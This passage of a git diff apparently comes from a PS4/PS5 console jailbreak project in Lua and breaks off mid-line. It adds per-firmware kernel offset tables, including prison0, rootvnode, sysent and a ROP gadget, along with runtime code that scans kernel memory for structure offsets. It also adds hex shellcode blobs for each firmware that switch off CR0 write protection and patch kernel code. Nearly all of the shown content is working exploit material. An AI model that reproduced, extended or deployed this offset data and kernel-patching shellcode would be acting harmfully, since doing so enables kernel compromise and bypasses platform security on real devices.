DATA_BASE_GVMSPACE = 0x063A2EB0, + + PMAP_STORE_PML4PML4I = -0x1C, + PMAP_STORE_DMPML4I = 0x288, + PMAP_STORE_DMPDPI = 0x28C + }, + [{ "3.00", "3.20", "3.21" }] = { + DATA_BASE = 0x0BD0000, + DATA_SIZE = 0x08871930, + + DATA_BASE_DYNAMIC = 0x00010000, + DATA_BASE_TO_DYNAMIC = 0x067D1B90, + DATA_BASE_ALLPROC = 0x0276DC58, + DATA_BASE_SECURITY_FLAGS = 0x06466474, + DATA_BASE_ROOTVNODE = 0x067AB4C0, + DATA_BASE_KERNEL_PMAP_STORE = 0x031BE218, + DATA_BASE_DATA_CAVE = 0x06140000, -- Unconfirmed + DATA_BASE_GVMSPACE = 0x06423F80, + + PMAP_STORE_PML4PML4I = -0x1C, + PMAP_STORE_DMPML4I = 0x288, + PMAP_STORE_DMPDPI = 0x28C + }, + [{ "4.00", "4.02", "4.03", "4.50", "4.51" }] = { + DATA_BASE = 0x0C00000, + DATA_SIZE = 0x087B1930, + + DATA_BASE_DYNAMIC = 0x00010000, + DATA_BASE_TO_DYNAMIC = 0x0670DB90, + DATA_BASE_ALLPROC = 0x027EDCB8, + DATA_BASE_SECURITY_FLAGS = 0x06506474, + DATA_BASE_ROOTVNODE = 0x066E74C0, + DATA_BASE_KERNEL_PMAP_STORE = 0x03257A78, + DATA_BASE_DATA_CAVE = 0x06C01000, -- Unconfirmed + DATA_BASE_GVMSPACE = 0x064C3F80, + + PMAP_STORE_PML4PML4I = -0x1C, + PMAP_STORE_DMPML4I = 0x288, + PMAP_STORE_DMPDPI = 0x28C + }, + + [{ "5.00", "5.02" , "5.10"}] = { + DATA_BASE = 0x0C40000, + DATA_SIZE = 0x08921930, + + DATA_BASE_DYNAMIC = 0x00010000, + DATA_BASE_TO_DYNAMIC = 0x06879C00, + DATA_BASE_ALLPROC = 0x0291DD00, + DATA_BASE_SECURITY_FLAGS = 0x066466EC, + DATA_BASE_ROOTVNODE = 0x06853510, + DATA_BASE_KERNEL_PMAP_STORE = 0x03398A88, + DATA_BASE_DATA_CAVE = 0x06320000, -- Unconfirmed + DATA_BASE_GVMSPACE = 0x06603FB0, + + PMAP_STORE_PML4PML4I = -0x105C, + PMAP_STORE_DMPML4I = 0x29C, + PMAP_STORE_DMPDPI = 0x2A0 + }, + [{ "5.50" }] = { + DATA_BASE = 0x0C40000, + DATA_SIZE = 0x08921930, + + DATA_BASE_DYNAMIC = 0x00010000, + DATA_BASE_TO_DYNAMIC = 0x06879C00, + DATA_BASE_ALLPROC = 0x0291DD00, + DATA_BASE_SECURITY_FLAGS = 0x066466EC, + DATA_BASE_ROOTVNODE = 0x06853510, + DATA_BASE_KERNEL_PMAP_STORE = 0x03394A88, + DATA_BASE_DATA_CAVE = 0x06320000, -- Unconfirmed + DATA_BASE_GVMSPACE = 0x06603FB0, + + PMAP_STORE_PML4PML4I = -0x105C, + PMAP_STORE_DMPML4I = 0x29C, + PMAP_STORE_DMPDPI = 0x2A0 + }, + [{ "6.00", "6.02", "6.50" }] = { + DATA_BASE = 0x0C60000, -- Unconfirmed + DATA_SIZE = 0x08861930, + + DATA_BASE_DYNAMIC = 0x00010000, + DATA_BASE_TO_DYNAMIC = 0x067C5C10, + DATA_BASE_ALLPROC = 0x02869D20, + DATA_BASE_SECURITY_FLAGS = 0x065968EC, + DATA_BASE_ROOTVNODE = 0x0679F510, + DATA_BASE_KERNEL_PMAP_STORE = 0x032E4358, + DATA_BASE_DATA_CAVE = 0x06270000, -- Unconfirmed + DATA_BASE_GVMSPACE = 0x065540F0, + + PMAP_STORE_PML4PML4I = -0x105C, + PMAP_STORE_DMPML4I = 0x29C, + PMAP_STORE_DMPDPI = 0x2A0 + }, + [{ "7.00", "7.01", "7.20", "7.40", "7.60", "7.61" }] = { + DATA_BASE = 0x0C50000, + DATA_SIZE = 0x05191930, + + DATA_BASE_DYNAMIC = 0x00010000, + DATA_BASE_TO_DYNAMIC = 0x030EDC40, + DATA_BASE_ALLPROC = 0x02859D50, + DATA_BASE_SECURITY_FLAGS = 0x00AC8064, + DATA_BASE_ROOTVNODE = 0x030C7510, + DATA_BASE_KERNEL_PMAP_STORE = 0x02E2C848, + DATA_BASE_DATA_CAVE = 0x050A1000, -- Unconfirmed + DATA_BASE_GVMSPACE = 0x02E76090, + + PMAP_STORE_PML4PML4I = -0x10AC, + PMAP_STORE_DMPML4I = 0x29C, + PMAP_STORE_DMPDPI = 0x2A0 + }, + [{ "8.00", "8.20", "8.40", "8.60" }] = { + DATA_BASE = 0xC70000, + DATA_SIZE = nil, + + DATA_BASE_DYNAMIC = 0x10000, + DATA_BASE_TO_DYNAMIC = nil, + DATA_BASE_ALLPROC = 0x2875D50, + DATA_BASE_SECURITY_FLAGS = 0xAC3064, + DATA_BASE_ROOTVNODE = 0x30FB510, + DATA_BASE_KERNEL_PMAP_STORE = 0x2E48848, + DATA_BASE_DATA_CAVE = nil, + DATA_BASE_GVMSPACE = 0x2EAA090, + + PMAP_STORE_PML4PML4I = nil, + PMAP_STORE_DMPML4I = nil, + PMAP_STORE_DMPDPI = nil + }, + [{ "9.00" }] = { + DATA_BASE = 0xCA0000, + DATA_SIZE = nil, + + DATA_BASE_DYNAMIC = 0x10000, + DATA_BASE_TO_DYNAMIC = nil, + DATA_BASE_ALLPROC = 0x2755D50, + DATA_BASE_SECURITY_FLAGS = 0xD72064, + DATA_BASE_ROOTVNODE = 0x2FDB510, + DATA_BASE_KERNEL_PMAP_STORE = 0x2D28B78, + DATA_BASE_DATA_CAVE = nil, + DATA_BASE_GVMSPACE = 0x2D8A570, + + PMAP_STORE_PML4PML4I = nil, + PMAP_STORE_DMPML4I = nil, + PMAP_STORE_DMPDPI = nil + }, + [{ "9.05", "9.20", "9.40", "9.60" }] = { + DATA_BASE = 0xCA0000, + DATA_SIZE = nil, + + DATA_BASE_DYNAMIC = 0x10000, + DATA_BASE_TO_DYNAMIC = nil, + DATA_BASE_ALLPROC = 0x2755D50, + DATA_BASE_SECURITY_FLAGS = 0xD73064, + DATA_BASE_ROOTVNODE = 0x2FDB510, + DATA_BASE_KERNEL_PMAP_STORE = 0x2D28B78, + DATA_BASE_DATA_CAVE = nil, + DATA_BASE_GVMSPACE = 0x2D8A570, + + PMAP_STORE_PML4PML4I = nil, + PMAP_STORE_DMPML4I = nil, + PMAP_STORE_DMPDPI = nil + }, + [{ "10.00", "10.01" }] = { + DATA_BASE = 0xCC0000, + DATA_SIZE = nil, + + DATA_BASE_DYNAMIC = 0x10000, + DATA_BASE_TO_DYNAMIC = nil, + DATA_BASE_ALLPROC = 0x2765D70, + DATA_BASE_SECURITY_FLAGS = 0xD79064, + DATA_BASE_ROOTVNODE = 0x2FA3510, + DATA_BASE_KERNEL_PMAP_STORE = 0x2CF0EF8, + DATA_BASE_DATA_CAVE = nil, + DATA_BASE_GVMSPACE = 0x2D52570, + + PMAP_STORE_PML4PML4I = nil, + PMAP_STORE_DMPML4I = nil, + PMAP_STORE_DMPDPI = nil + } +} + +ps4_kernel_offset_list = { + [{ "5.00", "5.01" }] = { + EVF_OFFSET = 0x7b3ed4, + PRISON0 = 0x10986a0, + ROOTVNODE = 0x22c19f0, + SYSENT_661_OFFSET = 0x1084200, + JMP_RSI_GADGET = 0x13460 + }, + [{ "5.03" }] = { + EVF_OFFSET = 0x7b42e4, + PRISON0 = 0x10986a0, + ROOTVNODE = 0x22c1a70, + SYSENT_661_OFFSET = 0x1084200, + JMP_RSI_GADGET = 0x13460 + }, + [{ "5.05", "5.07" }] = { + EVF_OFFSET = 0x7b42a4, + PRISON0 = 0x10986a0, + ROOTVNODE = 0x22c1a70, + SYSENT_661_OFFSET = 0x1084200, + JMP_RSI_GADGET = 0x13460 + }, + [{ "5.50" }] = { + EVF_OFFSET = 0x80ef12, + PRISON0 = 0x1134180, + ROOTVNODE = 0x22ef570, + SYSENT_661_OFFSET = 0x111d8b0, + JMP_RSI_GADGET = 0xaf8c + }, + [{ "5.53" }] = { + EVF_OFFSET = 0x80ede2, + PRISON0 = 0x1134180, + ROOTVNODE = 0x22ef570, + SYSENT_661_OFFSET = 0x111d8b0, + JMP_RSI_GADGET = 0xaf8c + }, + [{ "5.55" }] = { + EVF_OFFSET = 0x80f482, + PRISON0 = 0x1139180, + ROOTVNODE = 0x22f3570, + SYSENT_661_OFFSET = 0x11228b0, + JMP_RSI_GADGET = 0xaf8c + }, + [{ "5.56" }] = { + EVF_OFFSET = 0x7c8971, + PRISON0 = 0x1139180, + ROOTVNODE = 0x22f3570, + SYSENT_661_OFFSET = 0x1123130, + JMP_RSI_GADGET = 0x3f0c9 + }, + [{ "6.00", "6.02" }] = { + EVF_OFFSET = 0x7c8971, + PRISON0 = 0x1139458, + ROOTVNODE = 0x21bfac0, + SYSENT_661_OFFSET = 0x1123130, + JMP_RSI_GADGET = 0x3f0c9 + }, + [{ "6.20" }] = { + EVF_OFFSET = 0x7c8e31, + PRISON0 = 0x113d458, + ROOTVNODE = 0x21c3ac0, + SYSENT_661_OFFSET = 0x1127130, + JMP_RSI_GADGET = 0x2be6e + }, + [{ "6.50" }] = { + EVF_OFFSET = 0x7c6019, + PRISON0 = 0x113d4f8, + ROOTVNODE = 0x2300320, + SYSENT_661_OFFSET = 0x1124bf0, + JMP_RSI_GADGET = 0x15a50d + }, + [{ "6.51" }] = { + EVF_OFFSET = 0x7c6099, + PRISON0 = 0x113d4f8, + ROOTVNODE = 0x2300320, + SYSENT_661_OFFSET = 0x1124bf0, + JMP_RSI_GADGET = 0x15a50d + }, + [{ "6.70", "6.71", "6.72" }] = { + EVF_OFFSET = 0x7c7829, + PRISON0 = 0x113e518, + ROOTVNODE = 0x2300320, + SYSENT_661_OFFSET = 0x1125bf0, + JMP_RSI_GADGET = 0x9d11d + }, + [{ "7.00", "7.01", "7.02" }] = { + EVF_OFFSET = 0x7f92cb, + PRISON0 = 0x113e398, + ROOTVNODE = 0x22c5750, + SYSENT_661_OFFSET = 0x112d250, + JMP_RSI_GADGET = 0x6b192 + }, + [{ "7.50" }] = { + EVF_OFFSET = 0x79a92e, + PRISON0 = 0x113b728, + ROOTVNODE = 0x1b463e0, + SYSENT_661_OFFSET = 0x1129f30, + JMP_RSI_GADGET = 0x1f842 + }, + [{ "7.51", "7.55" }] = { + EVF_OFFSET = 0x79a96e, + PRISON0 = 0x113b728, + ROOTVNODE = 0x1b463e0, + SYSENT_661_OFFSET = 0x1129f30, + JMP_RSI_GADGET = 0x1f842 + }, + [{ "8.00", "8.01", "8.03" }] = { + EVF_OFFSET = 0x7edcff, + PRISON0 = 0x111a7d0, + ROOTVNODE = 0x1b8c730, + SYSENT_661_OFFSET = 0x11040c0, + JMP_RSI_GADGET = 0xe629c + }, + [{ "8.50", "8.52" }] = { + EVF_OFFSET = 0x7da91c, + PRISON0 = 0x111a8f0, + ROOTVNODE = 0x1c66150, + SYSENT_661_OFFSET = 0x11041b0, + JMP_RSI_GADGET = 0xc810d + }, + [{ "9.00" }] = { + EVF_OFFSET = 0x7f6f27, + PRISON0 = 0x111f870, + ROOTVNODE = 0x21eff20, + SYSENT_661_OFFSET = 0x1107f00, + JMP_RSI_GADGET = 0x4c7ad + }, + [{ "9.00" }] = { + EVF_OFFSET = 0x7f6f27, + PRISON0 = 0x111f870, + ROOTVNODE = 0x21eff20, + SYSENT_661_OFFSET = 0x1107f00, + JMP_RSI_GADGET = 0x4c7ad + }, + [{ "9.00" }] = { + EVF_OFFSET = 0x7f6f27, + PRISON0 = 0x111f870, + ROOTVNODE = 0x21eff20, + SYSENT_661_OFFSET = 0x1107f00, + JMP_RSI_GADGET = 0x4c7ad + }, + [{ "9.03", "9.04" }] = { + EVF_OFFSET = 0x7f4ce7, + PRISON0 = 0x111b840, + ROOTVNODE = 0x21ebf20, + SYSENT_661_OFFSET = 0x1103f00, + JMP_RSI_GADGET = 0x5325b + }, + [{ "9.50", "9.51", "9.60" }] = { + EVF_OFFSET = 0x769a88, + PRISON0 = 0x11137d0, + ROOTVNODE = 0x21a6c30, + SYSENT_661_OFFSET = 0x1100ee0, + JMP_RSI_GADGET = 0x15a6d + }, + [{ "10.00", "10.01" }] = { + EVF_OFFSET = 0x7b5133, + PRISON0 = 0x111b8b0, + ROOTVNODE = 0x1b25bd0, + SYSENT_661_OFFSET = 0x110a980, + JMP_RSI_GADGET = 0x68b1 + }, + [{ "10.50", "10.70", "10.71" }] = { + EVF_OFFSET = 0x7a7b14, + PRISON0 = 0x111b910, + ROOTVNODE = 0x1bf81f0, + SYSENT_661_OFFSET = 0x110a5b0, + JMP_RSI_GADGET = 0x50ded + }, + [{ "11.00" }] = { -- credit: @egycnq + EVF_OFFSET = 0x7fc26f, + PRISON0 = 0x111f830, + ROOTVNODE = 0x2116640, + SYSENT_661_OFFSET = 0x1109350, + JMP_RSI_GADGET = 0x71a21 + }, + [{ "11.02" }] = { + EVF_OFFSET = 0x7fc22f, + PRISON0 = 0x111f830, + ROOTVNODE = 0x2116640, + SYSENT_661_OFFSET = 0x1109350, + JMP_RSI_GADGET = 0x71a21 + }, + [{ "11.50", "11.52" }] = { + EVF_OFFSET = 0x784318, + PRISON0 = 0x111fa18, + ROOTVNODE = 0x2136e90, + SYSENT_661_OFFSET = 0x110a760, + JMP_RSI_GADGET = 0x704d5 + }, + [{ "12.00", "12.02" }] = { -- credit: @egycnq + EVF_OFFSET = 0x784798, + PRISON0 = 0x111fa18, + ROOTVNODE = 0x2136e90, + SYSENT_661_OFFSET = 0x110a760, + JMP_RSI_GADGET = 0x47b31 + } + -- 12.50, 12.52, 13.00, 13.02 +} + +function get_ps5_kernel_offset() + + local kernel_offset = {} + + for fw_list, offsets in pairs(ps5_kernel_offset_list) do + for i, check_fw in ipairs(fw_list) do + if check_fw == FW_VERSION then + kernel_offset = offsets + kernel_offset.DATA_BASE_TARGET_ID = kernel_offset.DATA_BASE_SECURITY_FLAGS + 0x09 + kernel_offset.DATA_BASE_QA_FLAGS = kernel_offset.DATA_BASE_SECURITY_FLAGS + 0x24 + kernel_offset.DATA_BASE_UTOKEN_FLAGS = kernel_offset.DATA_BASE_SECURITY_FLAGS + 0x8C + break + end + end + end + + -- static structure offsets + -- note: the one marked with -1 will be resolved at runtime + + -- proc structure + kernel_offset.PROC_FD = 0x48 + kernel_offset.PROC_PID = 0xbc + kernel_offset.PROC_VM_SPACE = 0x200 + kernel_offset.PROC_COMM = -1 + kernel_offset.PROC_SYSENT = -1 + + -- filedesc + kernel_offset.FILEDESC_OFILES = 0x8 + kernel_offset.SIZEOF_OFILES = 0x30 + + -- vmspace structure + kernel_offset.VMSPACE_VM_PMAP = -1 + kernel_offset.VMSPACE_VM_VMID = -1 + + -- pmap structure + kernel_offset.PMAP_CR3 = 0x28 + + -- gpu vmspace structure + kernel_offset.SIZEOF_GVMSPACE = 0x100 + kernel_offset.GVMSPACE_START_VA = 0x8 + kernel_offset.GVMSPACE_SIZE = 0x10 + kernel_offset.GVMSPACE_PAGE_DIR_VA = 0x38 + + -- net + kernel_offset.SO_PCB = 0x18 + kernel_offset.INPCB_PKTOPTS = 0x120 + + return kernel_offset +end + +function get_ps4_kernel_offset() + + local kernel_offset = {} + + for fw_list, offsets in pairs(ps4_kernel_offset_list) do + for i, check_fw in ipairs(fw_list) do + if check_fw == FW_VERSION then + kernel_offset = offsets + break + end + end + end + + -- proc structure + kernel_offset.PROC_FD = 0x48 + kernel_offset.PROC_PID = 0xb0 + kernel_offset.PROC_VM_SPACE = 0x200 + kernel_offset.PROC_COMM = -1 + kernel_offset.PROC_SYSENT = -1 + + -- filedesc + kernel_offset.FILEDESC_OFILES = 0x0 + kernel_offset.SIZEOF_OFILES = 0x8 + + -- vmspace structure + kernel_offset.VMSPACE_VM_PMAP = -1 + kernel_offset.VMSPACE_VM_VMID = -1 + + -- pmap structure + kernel_offset.PMAP_CR3 = 0x28 + + -- net + kernel_offset.SO_PCB = 0x18 + kernel_offset.INPCB_PKTOPTS = 0x118 + + return kernel_offset +end + +function get_kernel_offset() + if PLATFORM == "ps4" then + return get_ps4_kernel_offset() + elseif PLATFORM == "ps5" then + return get_ps5_kernel_offset() + end +end + +-- find some structure offsets at runtime +function update_kernel_offsets() + + local offsets = find_additional_offsets() + + for k,v in pairs(offsets) do + kernel_offset[k] = v + end +end + +-- credit: @hammer-83 +function find_vmspace_pmap_offset() + + local vmspace = kernel.read_qword(kernel.addr.curproc + kernel_offset.PROC_VM_SPACE) + + -- Note, this is the offset of vm_space.vm_map.pmap on 1.xx. + -- It is assumed that on higher firmwares it's only increasing. + local cur_scan_offset = 0x1C8 + + for i=1,6 do + local scan_val = kernel.read_qword(vmspace + cur_scan_offset + (i * 8)) + local offset_diff = (scan_val - vmspace):tonumber() + if offset_diff >= 0x2C0 and offset_diff <= 0x2F0 then + return cur_scan_offset + (i * 8) + end + end + + error("failed to find VMSPACE_VM_PMAP offset") +end + + +-- credit: @hammer-83 +function find_vmspace_vmid_offset() + + local vmspace = kernel.read_qword(kernel.addr.curproc + kernel_offset.PROC_VM_SPACE) + + -- Note, this is the offset of vm_space.vm_map.vmid on 1.xx. + -- It is assumed that on higher firmwares it's only increasing. + local cur_scan_offset = 0x1D4 + + for i=1,8 do + local scan_offset = cur_scan_offset + (i * 4) + local scan_val = kernel.read_dword(vmspace + scan_offset):tonumber() + if scan_val > 0 and scan_val <= 0x10 then + return scan_offset + end + end + + error("failed to find VMSPACE_VM_VMID offset") +end + +function find_proc_offsets() + + local proc_data = kernel.read_buffer(kernel.addr.curproc, 0x1000) + local proc_data_addr = lua.resolve_value(proc_data) + + local p_comm_sign = find_pattern(proc_data, "ce fa ef be cc bb") + local p_sysent_sign = find_pattern(proc_data, "ff ff ff ff ff ff ff 7f") + + if not p_comm_sign then + error("failed to find offset for PROC_COMM") + end + + if not p_sysent_sign then + error("failed to find offset for PROC_SYSENT") + end + + local p_comm_offset = p_comm_sign[1] - 1 + 0x8 + local p_sysent_offset = p_sysent_sign[1] - 1 - 0x10 + + return { + PROC_COMM = p_comm_offset, + PROC_SYSENT = p_sysent_offset + } +end + +function find_additional_offsets() + + local proc_offsets = find_proc_offsets() + + local vm_map_pmap_offset = nil + local vm_map_vmid_offset = nil + + -- not tested on ps4. ignore for now. + -- maybe can just hardcode if offset is not changes between fw on ps4 + if PLATFORM == "ps5" then + vm_map_pmap_offset = find_vmspace_pmap_offset() + vm_map_vmid_offset = find_vmspace_vmid_offset() + end + + return { + PROC_COMM = proc_offsets.PROC_COMM, + PROC_SYSENT = proc_offsets.PROC_SYSENT, + VMSPACE_VM_PMAP = vm_map_pmap_offset, + VMSPACE_VM_VMID = vm_map_vmid_offset, + } +end + +-- compatibility layer so ppl using older umtx payload can still work +function initialize_kernel_offsets() + update_kernel_offsets() +end diff --git a/savedata/kernel_patches_ps4.lua b/savedata/kernel_patches_ps4.lua index 6867203..43811b1 100644 --- a/savedata/kernel_patches_ps4.lua +++ b/savedata/kernel_patches_ps4.lua @@ -22,6 +22,34 @@ along with this program. If not, see . ]] +local shellcode_500 = "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb04000041b890e9ffff4881c2a0320100c681bd0a0000ebc6816da31e00ebc681b1a31e00ebc6812da41e00ebc68171a41e00ebc6810da61e00ebc6813daa1e00ebc681fdaa1e00ebc7819304000000000000c681c5040000eb668981bc0400006689b1b8040000c6817d4a0500eb6689b9f83a1a00664489812a7e2300c78150232b004831c0c3c68110d5130037c68113d5130037c78120c807010200000048899128c80701c7814cc80701010000000f20c0480d000001000f22c031c0c3" + +local shellcode_503 = "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb04000041b890e9ffff4881c2a0320100c681bd0a0000ebc6817da41e00ebc681c1a41e00ebc6813da51e00ebc68181a51e00ebc6811da71e00ebc6814dab1e00ebc6810dac1e00ebc7819304000000000000c681c5040000eb668981bc0400006689b1b8040000c6817d4a0500eb6689b9083c1a00664489813a7f2300c78120262b004831c0c3c68120d6130037c68123d6130037c78120c807010200000048899128c80701c7814cc80701010000000f20c0480d000001000f22c031c0c3" + +local shellcode_550 = "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b890e9ffffbeeb000000bfeb00000041b8eb04000041b990e9ffff4881c2ccad0000c681ed0a0000ebc6810d594000ebc68151594000ebc681cd594000ebc681115a4000ebc681bd5b4000ebc6816d604000ebc6813d614000ebc7819004000000000000668981c60400006689b1bd0400006689b9b9040000c681cd070100eb6644898198ee0200664489890a390600c781300140004831c0c3c681d9253c0037c681dc253c0037c781d05e110102000000488991d85e1101c781fc5e1101010000000f20c0480d000001000f22c031c0c3" + +local shellcode_553 = "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b890e9ffffbeeb000000bfeb00000041b8eb04000041b990e9ffff4881c2ccad0000c681ed0a0000ebc6810d584000ebc68151584000ebc681cd584000ebc68111594000ebc681bd5a4000ebc6816d5f4000ebc6813d604000ebc7819004000000000000668981c60400006689b1bd0400006689b9b9040000c681cd070100eb6644898198ee0200664489890a390600c781300040004831c0c3c681d9243c0037c681dc243c0037c781d05e110102000000488991d85e1101c781fc5e1101010000000f20c0480d000001000f22c031c0c3" + +local shellcode_555 = "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b890e9ffffbeeb000000bfeb00000041b8eb04000041b990e9ffff4881c2ccad0000c681ed0a0000ebc681cd5b4000ebc681115c4000ebc6818d5c4000ebc681d15c4000ebc6817d5e4000ebc6812d634000ebc681fd634000ebc7819004000000000000668981c60400006689b1bd0400006689b9b9040000c681cd070100eb6644898198ee0200664489890a390600c781f00340004831c0c3c68199283c0037c6819c283c0037c781d0ae110102000000488991d8ae1101c781fcae1101010000000f20c0480d000001000f22c031c0c3" + +local shellcode_556 = "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b890e9ffffbeeb000000bfeb00000041b8eb04000041b990e9ffff4881c209ef0300c681dd0a0000ebc6814d461100ebc68191461100ebc6810d471100ebc68151471100ebc681fd481100ebc681ad4d1100ebc6817d4e1100ebc7819004000000000000668981c60400006689b1bd0400006689b9b9040000c681ed900200eb6644898158223500664489895af62700c78110a801004831c0c3c6816d02240037c6817002240037c78150b711010200000048899158b71101c7817cb71101010000000f20c0480d000001000f22c031c0c3" + +local shellcode_600 = "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b890e9ffffbeeb000000bfeb00000041b8eb04000041b990e9ffff4881c209ef0300c681dd0a0000ebc6814d461100ebc68191461100ebc6810d471100ebc68151471100ebc681fd481100ebc681ad4d1100ebc6817d4e1100ebc7819004000000000000668981c60400006689b1bd0400006689b9b9040000c681ed900200eb6644898158223500664489895af62700c78110a801004831c0c3c6816d02240037c6817002240037c78150b711010200000048899158b71101c7817cb71101010000000f20c0480d000001000f22c031c0c3" + +local shellcode_620 = "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b890e9ffffbeeb000000bfeb00000041b8eb04000041b990e9ffff4881c2aebc0200c681dd0a0000ebc6814d461100ebc68191461100ebc6810d471100ebc68151471100ebc681fd481100ebc681ad4d1100ebc6817d4e1100ebc7819004000000000000668981c60400006689b1bd0400006689b9b9040000c681ed900200eb6644898178223500664489897af62700c78110a801004831c0c3c6816d02240037c6817002240037c78150f711010200000048899158f71101c7817cf71101010000000f20c0480d000001000f22c031c0c3" + +local shellcode_650 = "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bf90e9ffff41b8eb0000006689810ec5630041b9eb00000041baeb04000041bb90e9ffffb890e9ffff4881c24da31500c681cd0a0000ebc6814d113c00ebc68191113c00ebc6810d123c00ebc68151123c00ebc681fd133c00ebc681ad183c00ebc6817d193c00eb6689b10fce6300c78190040000000000006689b9c604000066448981bd04000066448989b9040000c68127bb1000eb66448991081a4500664489991e801d00668981aa851d00c781209f41004831c0c3c6817ab50a0037c6817db50a0037c78110d211010200000048899118d21101c7813cd21101010000000f20c0480d000001000f22c031c0c3" + +local shellcode_670 = "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bf90e9ffff41b8eb000000668981cec8630041b9eb00000041baeb04000041bb90e9ffffb890e9ffff4881c25dcf0900c681cd0a0000ebc681fd143c00ebc68141153c00ebc681bd153c00ebc68101163c00ebc681ad173c00ebc6815d1c3c00ebc6812d1d3c00eb6689b1cfd16300c78190040000000000006689b9c604000066448981bd04000066448989b9040000c681d7be1000eb66448991b81d450066448999ce831d006689815a891d00c781d0a241004831c0c3c6817ab50a0037c6817db50a0037c78110e211010200000048899118e21101c7813ce21101010000000f20c0480d000001000f22c031c0c3" + +local shellcode_700 = "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bf90e9ffff41b8eb000000668981ceac630041b9eb00000041baeb04000041bb90e9ffffb890e9ffff4881c2d2af0600c681cd0a0000ebc6818def0200ebc681d1ef0200ebc6814df00200ebc68191f00200ebc6813df20200ebc681edf60200ebc681bdf70200eb6689b1efb56300c78190040000000000006689b9c604000066448981bd04000066448989b9040000c681777b0800eb66448991084c260066448999c14e09006689817b540900c781202c2f004831c0c3c68136231d0037c68139231d0037c781705812010200000048899178581201c7819c581201010000000f20c0480d000001000f22c031c0c3" + +local shellcode_750 = "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bf90e9ffff41b8eb0000006689819473630041b9eb00000041baeb04000041bb90e9ffffb890e9ffff4881c282f60100c681dd0a0000ebc6814df72800ebc68191f72800ebc6810df82800ebc68151f82800ebc681fdf92800ebc681adfe2800ebc6817dff2800eb6689b1cf7c6300c78190040000000000006689b9c604000066448981bd04000066448989b9040000c68127a33700eb66448991c814300066448999041e4500668981c4234500c781309a02004831c0c3c6817db10d0037c68180b10d0037c781502512010200000048899158251201c7817c251201010000000f20c0480d000001000f22c031c0c3" + +local shellcode_800 = "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b9eb04000041ba90e9ffff4881c2dc600e0066898154d26200c681cd0a0000ebc6810de12500ebc68151e12500ebc681cde12500ebc68111e22500ebc681bde32500ebc6816de82500ebc6813de92500eb6689b13fdb6200c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c68196d63400eb664489898bc63e0066448991848d3100c6813f953100ebc781c05109004831c0c3c6813ad00f0037c6813dd00f0037c781e0c60f0102000000488991e8c60f01c7810cc70f01010000000f20c0480d000001000f22c031c0c3" + +local shellcode_850 = "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b9eb04000041ba90e9ffff4881c24d7f0c0066898174466200c681cd0a0000ebc6813d403a00ebc68181403a00ebc681fd403a00ebc68141413a00ebc681ed423a00ebc6819d473a00ebc6816d483a00eb6689b15f4f6200c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c681d6f32200eb66448989dbd614006644899174740100c6812f7c0100ebc78140d03a004831c0c3c681ea26080037c681ed26080037c781d0c70f0102000000488991d8c70f01c781fcc70f01010000000f20c0480d000001000f22c031c0c3" + local shellcode_900 = "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b9eb04000041ba90e9ffff4881c2edc5040066898174686200c681cd0a0000ebc681fd132700ebc68141142700ebc681bd142700ebc68101152700ebc681ad162700ebc6815d1b2700ebc6812d1c2700eb6689b15f716200c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c681061a0000eb664489898b0b080066448991c4ae2300c6817fb62300ebc781401b22004831c0c3c6812a63160037c6812d63160037c781200510010200000048899128051001c7814c051001010000000f20c0480d000001000f22c031c0c3" local shellcode_903 = "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b9eb04000041ba90e9ffff4881c29b30050066898134486200c681cd0a0000ebc6817d102700ebc681c1102700ebc6813d112700ebc68181112700ebc6812d132700ebc681dd172700ebc681ad182700eb6689b11f516200c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c681061a0000eb664489898b0b08006644899194ab2300c6814fb32300ebc781101822004831c0c3c681da62160037c681dd62160037c78120c50f010200000048899128c50f01c7814cc50f01010000000f20c0480d000001000f22c031c0c3" @@ -42,7 +70,35 @@ local shellcode_1200 = "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825 function get_kernel_patches_shellcode() local shellcode = "" - if FW_VERSION == "9.00" then + if FW_VERSION == "5.00" or FW_VERSION == "5.01" then + shellcode = shellcode_500 + elseif FW_VERSION == "5.03" or FW_VERSION == "5.05" or FW_VERSION == "5.07" then + shellcode = shellcode_503 + elseif FW_VERSION == "5.50" then + shellcode = shellcode_550 + elseif FW_VERSION == "5.53" then + shellcode = shellcode_553 + elseif FW_VERSION == "5.55" then + shellcode = shellcode_555 + elseif FW_VERSION == "5.56" then + shellcode = shellcode_556 + elseif FW_VERSION == "6.00" or FW_VERSION == "6.02" then + shellcode = shellcode_600 + elseif FW_VERSION == "6.20" then + shellcode = shellcode_620 + elseif FW_VERSION == "6.50" or FW_VERSION == "6.51" then + shellcode = shellcode_650 + elseif FW_VERSION == "6.70" or FW_VERSION == "6.71" or FW_VERSION == "6.72" then + shellcode = shellcode_670 + elseif FW_VERSION == "7.00" or 